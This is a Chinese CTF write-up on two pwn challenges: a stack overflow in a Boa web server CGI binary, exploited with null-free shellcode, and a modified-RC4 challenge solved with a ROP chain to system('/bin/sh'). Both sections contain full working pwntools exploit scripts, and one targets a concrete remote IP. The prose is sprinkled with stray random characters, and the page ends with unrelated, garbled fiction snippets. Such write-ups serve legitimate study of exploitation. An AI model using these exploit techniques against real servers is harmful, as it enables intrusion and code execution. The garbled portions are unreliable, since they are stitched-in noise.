PWNHUB 七月內(nèi)部賽 babyboa熙揍、美好的異或 Writeup

這次的 PWNHUB 內(nèi)部賽的兩道題目都不是常規(guī)題,babyboa 考察的是 Boa Webserver 的 cgi 文件的利用脉顿,美好的異或考察的則是通過逆向分析解密函數(shù)來構造棧溢出 ROP尾菇。兩道題目的考點都非常新穎,其中第一道題更是結合了 Web义矛,值得大家復現(xiàn)學習。

babyboa

這道題的外表就是一個 Web 頁面

但是實際上他的主要內(nèi)容都在 cgi 文件中

cgi 文件是使用靜態(tài)編譯的盟萨,這在線下比賽的題目中是非常常見的凉翻,所以學會如何還原靜態(tài)庫的符號信息非常重要,所以這里我們第一步先嘗試著還原靜態(tài)庫的符號信息捻激。

1.還原靜態(tài)庫的符號信息

還原靜態(tài)庫的信息一般用的是 IDA 提供的 FLIRT制轰,這是一種函數(shù)識別技術前计,即庫文件快速識別與鑒定技術(Fast Library Identification and Recognition Technology)±龋可以通過 sig 文件來讓 IDA 在無符號的二進制文件中識別函數(shù)特征男杈,并且恢復函數(shù)名稱等信息,大大增加了代碼的可讀性调俘,加快分析速度伶棒。

而標準庫的 sig 文件也有現(xiàn)成制作好的,在https://github.com/push0ebp/sig-database中下載脉漏,并且把文件導入到 IDA/sig/pc 中就能夠使用,我這里為了快速找到我們導入的 sig 文件袖牙,將該文件夾中原有的文件都放到了 bak 目錄下侧巨,把我們猜測可能會用到的符號文件放置到目錄下

導入后再在 IDA 中按 Shift + F5,打開“List of applied library modules”頁面

然后再按 INS 并選擇要自動分析特征還原的靜態(tài)庫文件

我這里測試多次后選擇的是 Ubuntu 16.04 libc6(2.23-0ubuntu6/amd64)鞭达,如果你不知道靜態(tài)編譯使用的是哪個版本的庫文件司忱,可以嘗試多導入幾個版本的文件進行測試。

導入之后可以看到識別到了 623 個函數(shù)畴蹭,并且大部分函數(shù)都有了名稱

2.邏輯分析

在 Web 頁面中輸入密碼可以抓到如下的包

也就是實際上 Web 頁面就是用來向后端的 cgi 傳遞參數(shù)坦仍,并且在 cgi 中判斷密碼信息

main 函數(shù)中分別判定了 REQUEST_METHOD 和 QUERY_STRING 是否正確,這兩個參數(shù)分別代表的是訪問的模式和傳遞的參數(shù)叨襟,在上面例子中應該是 GET 和 password=wjh繁扎。

通過初步的判斷之后,就把參數(shù)的 127 字節(jié)復制到 bss 段上的一塊內(nèi)容上糊闽,并且通過 handle 函數(shù)來處理參數(shù)信息梳玫。

在這個函數(shù)中先把棧上的數(shù)據(jù)清 0,再把參數(shù)從第 9 位開始復制到棧上右犹,從九位開始的原因是為了從 password=wjh 中取出 wjh 這個字符串用于判斷提澎,因為這個才是 Web 中真正輸入的密碼信息。

在棧上儲存參數(shù)信息的只有 0x80 個字節(jié)念链,但是在前面獲取參數(shù)的時候對長度沒有限制盼忌,所以我們只要在參數(shù)中避免\x00 ,就可以造成棧溢出來進行后續(xù)的利用掂墓。

但是沒有\(zhòng)x00 想要構造出 ROP 實在是不能夠想象(因為地址中肯定會有\(zhòng)x00 數(shù)據(jù))谦纱,所以我這個時候對程序進行了 checksec

發(fā)現(xiàn)在程序中的保護是全關的,并且在進入 handle 函數(shù)之前有復制我們傳入的參數(shù)到 bss 段上君编,這意味著我們只需要把返回地址修改為 bss 段上的參數(shù)服协,并且把這一段參數(shù)構成為沒有\(zhòng)x00 的 shellcode,就可以執(zhí)行 shellcode 控制程序流程啦粹。

3.漏洞利用

有了上述的思想之后偿荷,我們只需要考慮的就是如何構造 shellcode窘游,以及如何調(diào)試等這些細節(jié)上的問題。

如何調(diào)試程序

由于程序就是 amd64 架構的程序跳纳,所以我們實際上能夠直接的執(zhí)行這個文件忍饰,但是由于我們沒有傳入?yún)?shù)的兩個環(huán)境變量,所以我們也無法成功進入 handle 函數(shù)流程寺庄。

我這里使用的方法是直接 nop 掉 GET 參數(shù)的那部分判斷艾蓝,然后 patch getenv(“QUERY_STRING”)為 read 函數(shù),具體的匯編代碼如下斗塘。

程序中的 .eh_frame 這段空間是有執(zhí)行權限的赢织,如果直接 patch 程序的字節(jié)不夠實現(xiàn)我們想要的功能,那么我們只需要直接在這段空間上寫匯編代碼馍盟,并且使想要 patch 的地方 call 這個地址即可于置,并且在修改之后返回到原來的位置。

而且 getenv 函數(shù)是以 rax 作為返回的值贞岭,內(nèi)容是一個指向返回數(shù)據(jù)的指針八毯,所以我們自己寫的這個函數(shù)也需要實現(xiàn)這樣的一個功能,我隨便在 bss 段上找了一段空間瞄桨,并且用 sys_read 讀取內(nèi)容话速,經(jīng)過這樣的修改我就可以成功的調(diào)試。

如何編寫 shellcode

這里的 shellcode 比起之前所遇到的一些 shellcode 編寫的題目要簡單的多芯侥,關鍵點就在于這里的 shellcode 只需要沒有\(zhòng)x00 即可泊交,因為有了\x00 就會截斷 Web 數(shù)據(jù)包的后續(xù)內(nèi)容,導致 BOA Web 服務器無法正常的解析柱查。

接下來只需要正常的編寫 shellcode 即可活合,一般可能會遇到\x00 的地方就是引用一個內(nèi)存地址,由于地址常常是 0x400000 這樣的物赶,最高的兩個字節(jié)是\x00白指。我這里用的方法是異或 0x01010101 來避免地址最高兩位的\x00。

orw 部分的 shellcode 直接用 pwntools 生成即可酵紫,使用以下命令就可以自動的生成出代碼

pwnlib.shellcraft.amd64.linux.cat("/flag")

除了用 cat 的方法告嘲,也可以考慮使用反彈 shell 的方法,這樣的話也就不用考慮到 502 報錯的問題奖地,因為不需要 flag 的回顯內(nèi)容橄唬。

為何 502 了

回答這個問題的答案,就有些接近現(xiàn)實生活中的 PWN 的意味了参歹,這也就是為了我需要專門寫 Writeup 來說明這道題目仰楚。這個問題是讓我糾結很久的一個問題,直到我下載了 BOA 的源碼查看,我找到了它報錯 502 的位置僧界。

這一段是 BOA 的源碼侨嘀,我發(fā)現(xiàn)當他判斷 cgi 文件中沒有\(zhòng)n\r\n 或者\n\n 這樣的字符串的時候,就會報錯 502捂襟。

而正常來說 cgi 文件中一定是會返回這樣的字符串的咬腕,所以會運行正常。但是在 cgi 文件發(fā)生異常退出的時候葬荷,并沒有把緩沖區(qū)中的數(shù)據(jù)進行輸出涨共,常規(guī)的 pwn 題都會在題目中使用 setbuf 來設置緩沖區(qū)的長度為 0,使得程序可以實時輸出宠漩。而如果程序有緩沖區(qū)的話举反,直到緩沖區(qū)滿了或者執(zhí)行_IO_fflush 才會把數(shù)據(jù)內(nèi)容全部輸出。

在常規(guī)的程序中扒吁,雖然沒有顯式的去調(diào)用_IO_flush火鼻,但是默認會使用 _libc_start_main 來啟動函數(shù),而 exit 在_libc_start_main 中被自動調(diào)用瘦陈,并且在 exit 又有去調(diào)用函數(shù)來檢查每個緩沖區(qū)中是否有內(nèi)容凝危,如果存在內(nèi)容則輸出內(nèi)容波俄,所以這使得緩沖區(qū)的內(nèi)容一定被輸出晨逝。

綜上所述,我們需要在 shellcode 之后再加入一段代碼使其調(diào)用 exit 來正常的退出程序懦铺,使得緩沖區(qū)被輸出捉貌。

4.EXP

from pwn import *

context.log_level = "debug"
context.arch = "amd64"

def test(payload):
    sh = remote('47.99.38.177', 20001)
    data = '''GET /cgi-bin/Auth.cgi?{0} HTTP/1.1
    Host: 47.99.38.177:20001
    Connection: keep-alive
    DNT: 1
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Language: zh-CN,zh;q=0.9

    '''.format(payload)
    sh.send(data)
    sh.interactive()

DEBUG = False
exit_addr = 0x400e26
shellcode_addr = 0x6D26C0
shellcode = '''
mov eax, 0x01410f27;
xor eax, 0x01010101;
jmp rax;
'''
shellcode = pwnlib.shellcraft.amd64.linux.cat("/flag") + shellcode
shellcode = asm(shellcode).ljust(0x50, '\x90')
payload = shellcode + 'a' * (0x91 - len(shellcode)) + '\xC0\x26\x6D'
if DEBUG:
    sh = process('./Auth.cgi')
    gdb.attach(sh, "b *0x0000000000400AD5")
    sh.sendafter("charset:utf-8", payload)
    sh.interactive()
else:
    test(payload)

執(zhí)行腳本之后 flag 存在于所有數(shù)據(jù)之前,這是因為直接通過 orw shellcode 輸出的 flag 數(shù)據(jù)不需要經(jīng)過緩沖區(qū)冬念,而其他數(shù)據(jù)在執(zhí)行 exit 過程中才從緩沖區(qū)中輸出趁窃,這正印證了我們之前的想法。

美好的異或

這道題目其實考察的是 逆向算法 + 簡單的棧溢出

識別加密函數(shù)

可以先看看幾個函數(shù)分別干了什么

其實看到這幾個函數(shù)急前,就可以大概猜到程序的加密是使用的魔改的 RC4 加密(把 RC4 加密中的 0x100 改為了 0x200)醒陆。

識別 RC4 加密的關鍵實際上就在于它的初始化秘鑰代碼,也就是循環(huán)對 s[i]進行賦值裆针,賦值的內(nèi)容就是為 i刨摩,另一個特征就是他的交換過程中的計算出的下標(s[i] + k[i] + v1) % 0x100,只需要看到類似的交換代碼世吨,就可以直接確定是 RC4 加密澡刹。

但由于 RC4 加密的本質(zhì)操作就是通過得到異或數(shù)據(jù)進行異或,所以我們實際上只需要動態(tài)調(diào)試得到異或的數(shù)據(jù)并記錄即可耘婚,在加解密的時候不需要考慮是什么加密罢浇,只需要對操作的內(nèi)容進行異或。

解密數(shù)據(jù)和校驗位

下面這一段就是對內(nèi)容進行異或運算,encode 函數(shù)經(jīng)過混淆代碼非常的復雜嚷闭,但是我們實際上通過前面的函數(shù)就可以猜測到這個函數(shù)的功能攒岛,也就是將數(shù)據(jù)進行異或。

因為異或的數(shù)據(jù)是固定的凌受,所以實際上這里傳入的數(shù)據(jù)如果全都是\x00阵子,就可以直接得到異或的秘鑰,我覺得這里的實現(xiàn)是存在一定的問題的胜蛉,這使得對代碼的分析實際并不必要挠进,只需要提取出異或的內(nèi)容即可。

我這里編寫程序來提取出異或的數(shù)據(jù)

#include <cstdio>
#include <cstring>

unsigned int sz[10];

void rc4_init(unsigned int* s, unsigned char* key, unsigned long Len)
{
    int i = 0, j = 0;
    unsigned char k[0x200] = { 0 };
    unsigned int tmp = 0;
    for (i = 0; i < 0x200; i++)
    {
        s[i] = i;
        k[i] = key[i % Len];
    }
    for (i = 0; i < 0x200; i++)
    {
        j = (j + s[i] + k[i]) % 0x200;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}

void rc4_crypt(unsigned int* s, unsigned int* Data, unsigned long Len)
{
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned int tmp;
    for (k = 0; k < Len; k++)
    {
        i = (i + 1) % 0x200;
        j = (j + s[i]) % 0x200;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 0x200;
        Data[k] ^= s[t];
    }
}

int main()
{
    unsigned int s[0x200];
    unsigned char key[] = "freedomzrc4rc4jwandu123nduiandd9872ne91e8n3n27d91cnb9496cbaw7b6r9823ncr89193rmca879w6rnw45232fc465v2vt5v91m5vm0amy0789";
    int key_len = strlen((char *)key);
    for (int i = 0; key[i]; i++)
        key[i] = 6;
    rc4_init(s, key, key_len);
    rc4_crypt(s, sz, 10);
    for (int i = 0; i < 10; i++)
        printf("0x%02X, ", sz[i] % 0x100);
    return 0;
}

異或之后的內(nèi)容誊册,前八位是數(shù)據(jù)位领突,后兩位是校驗位。我們只需要根據(jù)程序的邏輯正向的推出數(shù)據(jù)的校驗位即可案怯。

漏洞利用

異或之后賦值給棧上的數(shù)組君旦,并且由于之前讀入的數(shù)據(jù)長度是 0xE0押蚤,計算后發(fā)現(xiàn)實際上超出了椥桨簦空間的大小,從而產(chǎn)生了棧溢出餐蔬。由于程序沒有開 pie麦锯,所以這里就是 ret2csu + ret2libc 即可恕稠。直接在 bss 段上寫/bin/sh\x00,pop rdi 賦值 rdi 后扶欣,然后再調(diào)用 system 就可以 getshell鹅巍。

這里有個不清楚的問題就是如果我直接調(diào)用 plt 上的 system,本地可以直接打通料祠,但是遠程會報錯骆捧。如果有師傅知道這個問題的原因麻煩指教一下,因此我這里最后是借助程序本身使用的 system 那段 gadget 來執(zhí)行 system髓绽,發(fā)現(xiàn)可以正常執(zhí)行敛苇。

from pwn import *

elf = None
libc = None
file_name = "./main"

# context.timeout = 1

def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary

def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc

def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)

def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.recvrepeat(0.1)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    elif addr is not None:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(sh)
    if stop:
        raw_input()

def Attack(target=None, sh=None, elf=None, libc=None):
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag

def encode(data):
    all_data = ""
    for i in range(len(data) // 8):
        xor_data = [0x67, 0x3A, 0xDB, 0x9F, 0x21, 0x84, 0xDD, 0x24, 0x7C, 0x15]
        d = [ord(data[i * 8 + j]) for j in range(8)]
        s = ((d[7] + (d[6] << 8) + d[5] + (d[4] << 8) + d[3] + (d[2] << 8) + d[1] + (d[0] << 8)) >> 31) >> 24
        c = ((s + d[7] + d[5] + d[3] + d[1]) & 0xff - s + 0x100) & 0xff
        d = data[i * 8: (i + 1) * 8] + p16(c)
        all_data += ''.join(chr(ord(d[i]) ^ xor_data[i]) for i in range(10))
    return all_data

def pwn(sh, elf, libc):
    context.log_level = "debug"
    pop_rdi_addr = 0x42cd13
    buf_addr = 0x68F2C0
    sh_data = '/bin/sh\x00\x7C\x71' * (0x68 // 8)
    # sh_data = 'sh\x00\x00\x00\x00\x00\x00\x7C\x8C' * (0x68 // 8)
    payload = p64(pop_rdi_addr) + p64(buf_addr) + p64(0x40099B)
    payload = sh_data + encode(payload)
    # gdb.attach(sh, "b *0x0000000000400B9D")
    sh.sendafter('enter:', payload)
    sh.interactive()

if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

總結

這次的 babyboa 這道題目是我最接近現(xiàn)實生活中的漏洞利用的一次,也嘗試了像反彈 shell 這樣的操作顺呕。畢竟 CTF 中的 pwn 題目和現(xiàn)實生活中的二進制漏洞相差甚遠枫攀,通過這樣慢慢的嘗試和努力,希望可以讓我從做題走向現(xiàn)實生活這個大靶場塘匣,挖掘出真正的漏洞脓豪。

?著作權歸作者所有,轉載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市忌卤,隨后出現(xiàn)的幾起案子扫夜,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 221,198評論 6 514
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件笤闯,死亡現(xiàn)場離奇詭異堕阔,居然都是意外死亡,警方通過查閱死者的電腦和手機颗味,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,334評論 3 398
  • 文/潘曉璐 我一進店門超陆,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人浦马,你說我怎么就攤上這事时呀。” “怎么了晶默?”我有些...
    開封第一講書人閱讀 167,643評論 0 360
  • 文/不壞的土叔 我叫張陵谨娜,是天一觀的道長。 經(jīng)常有香客問我磺陡,道長趴梢,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 59,495評論 1 296
  • 正文 為了忘掉前任币他,我火速辦了婚禮坞靶,結果婚禮上,老公的妹妹穿的比我還像新娘蝴悉。我一直安慰自己彰阴,他們只是感情好,可當我...
    茶點故事閱讀 68,502評論 6 397
  • 文/花漫 我一把揭開白布辫封。 她就那樣靜靜地躺著硝枉,像睡著了一般廉丽。 火紅的嫁衣襯著肌膚如雪倦微。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,156評論 1 308
  • 那天正压,我揣著相機與錄音欣福,去河邊找鬼。 笑死焦履,一個胖子當著我的面吹牛拓劝,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播嘉裤,決...
    沈念sama閱讀 40,743評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼郑临,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了屑宠?” 一聲冷哼從身側響起厢洞,我...
    開封第一講書人閱讀 39,659評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后躺翻,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體丧叽,經(jīng)...
    沈念sama閱讀 46,200評論 1 319
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,282評論 3 340
  • 正文 我和宋清朗相戀三年公你,在試婚紗的時候發(fā)現(xiàn)自己被綠了踊淳。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,424評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡陕靠,死狀恐怖迂尝,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情剪芥,我是刑警寧澤雹舀,帶...
    沈念sama閱讀 36,107評論 5 349
  • 正文 年R本政府宣布,位于F島的核電站粗俱,受9級特大地震影響说榆,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜寸认,卻給世界環(huán)境...
    茶點故事閱讀 41,789評論 3 333
  • 文/蒙蒙 一签财、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧偏塞,春花似錦唱蒸、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,264評論 0 23
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至古今,卻和暖如春屁魏,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背捉腥。 一陣腳步聲響...
    開封第一講書人閱讀 33,390評論 1 271
  • 我被黑心中介騙來泰國打工氓拼, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人抵碟。 一個月前我還...
    沈念sama閱讀 48,798評論 3 376
  • 正文 我出身青樓桃漾,卻偏偏與公主長得像,于是被迫代替她去往敵國和親拟逮。 傳聞我的和親對象是個殘疾皇子撬统,可洞房花燭夜當晚...
    茶點故事閱讀 45,435評論 2 359

推薦閱讀更多精彩內(nèi)容